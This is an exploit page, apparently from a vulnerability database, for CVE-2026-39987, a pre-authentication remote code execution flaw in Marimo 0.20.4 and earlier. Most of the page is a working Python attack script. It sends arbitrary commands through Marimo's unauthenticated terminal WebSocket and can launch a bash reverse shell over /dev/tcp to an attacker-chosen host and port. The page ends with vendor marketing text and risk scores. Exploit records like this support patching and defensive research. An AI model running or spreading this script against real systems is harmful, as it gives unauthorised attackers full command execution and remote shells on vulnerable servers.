Marimo 0.20.4 - RCE
10
Title: Marimo 0.20.4 - RCE
Date: August 2nd, 2026
Exploit Author: Jason Bernier
Vendor Homepage: https://marimo.io/
Software Link: https://github.com/marimo-team/marimo
Version: <=0.20.4
Tested on: Ubuntu 24.04
CVE: CVE-2026-39987
Advisory:
https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
"""
Exploit script for CVE-2026-39987, a pre-authentication Remote Code Execution (RCE) vulnerability in Marimo.
The exploit leverages a WebSocket endpoint to execute arbitrary commands on the target system.
Based on the advisory located at https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
This exploit will either execute a reverse shell or any command specified with the -c argument.
https://github.com/jasonbernier/
"""
import websocket
import argparse
import time
import sys
import urllib.parse
import ssl
import socket
import threading
import subprocess
from typing import Optional
# Global variables for reverse shell
LHOST: Optional[str] = None
LPORT: Optional[int] = None
shell_socket: Optional[socket.socket] = None
conn: Optional[socket.socket] = None
def send_reverse_command(command: str) -> str:
"""Send command to target and receive output"""
try:
if not conn:
print("[-] No active connection")
return ""
conn.sendall(command.encode() + b"\n")
time.sleep(1)
output = b""
while True:
try:
data = conn.recv(4096)
if not data:
break
output += data
except socket.timeout:
break
return output.decode('utf-8', errors='ignore')
except Exception as e:
print(f"[-] Error sending command: {str(e)}")
return ""
def exploit(target_url: str, command: str = None) -> None:
"""
Exploit CVE-2026-39987 to execute commands via WebSocket terminal.
Args:
target_url: Target URL (e.g., http://localhost:2718)
command: Command to execute (default: id && whoami && hostname)
"""
# Normalize URL
if not target_url.startswith(('http://', 'https://')):
target_url = f"http://{target_url}"
parsed = urllib.parse.urlparse(target_url)
if parsed.scheme not in ['http', 'https']:
print(f"[-] Invalid scheme: {parsed.scheme}")
sys.exit(1)
# Determine protocol based on port
if parsed.port == 443 or parsed.scheme == 'https':
ws_scheme = 'wss'
else:
ws_scheme = 'ws'
# Build WebSocket URL
ws_path = parsed.path.rstrip('/')
if ws_path.endswith('/terminal/ws'):
ws_path = ws_path.replace('/terminal/ws', '/terminal/ws')
elif '/terminal/ws' not in ws_path:
ws_path = f"{ws_path}/terminal/ws"
ws_url = f"{ws_scheme}://{parsed.netloc}{ws_path}"
try:
print(f"[+] Connecting to {ws_url}...")
# Disable SSL verification for self-signed certs
ws = websocket.create_connection(ws_url, sslopt={"cert_reqs": ssl.CERT_NONE})
# Wait for initial output to drain
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute command
if command:
print(f"[+] Executing reverse shell!")
ws.send(command + "\n")
time.sleep(2)
# Get output
output = ""
try:
while True:
ws.settimeout(1)
chunk = ws.recv()
output += chunk
except:
pass
print(f"[+] Check your netcat listener on port {LPORT}!")
ws.close()
except Exception as e:
print(f"[-] Error: {str(e)}")
sys.exit(1)
def main():
"""Parse arguments and execute exploit."""
parser = argparse.ArgumentParser(
description='CVE-2026-39987 Exploit for Marimo Pre-Auth RCE',
)
parser.add_argument(
'-u', '--url', required=True,
help='Target URL (e.g., http://localhost:2718)'
)
parser.add_argument(
'-c', '--command',
help=' Command to execute (default: id && whoami && hostname)'
)
parser.add_argument(
'--lhost',
help='Local host for reverse shell (requires --lport)'
)
parser.add_argument(
'--lport', type=int,
help='Local port for reverse shell (requires --lhost)'
)
args = parser.parse_args()
# Validate arguments
if (args.lhost and not args.lport) or (args.lport and not args.lhost):
print("[-] Both --lhost and --lport must be provided together")
sys.exit(1)
# Set up reverse shell if specified
if args.lhost and args.lport:
global LHOST, LPORT
LHOST = args.lhost
LPORT = args.lport
# Generate reverse shell payload
payload = (
f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1 &' && id"
)
# Send payload directly
exploit(args.url, payload)
else:
# Default command if none specified
default_cmd = "id && whoami && hostname"
cmd = args.command or default_cmd
exploit(args.url, cmd)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Sep 2026 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.19.8
CVSS 49.3
EPSS0.98945
SSVC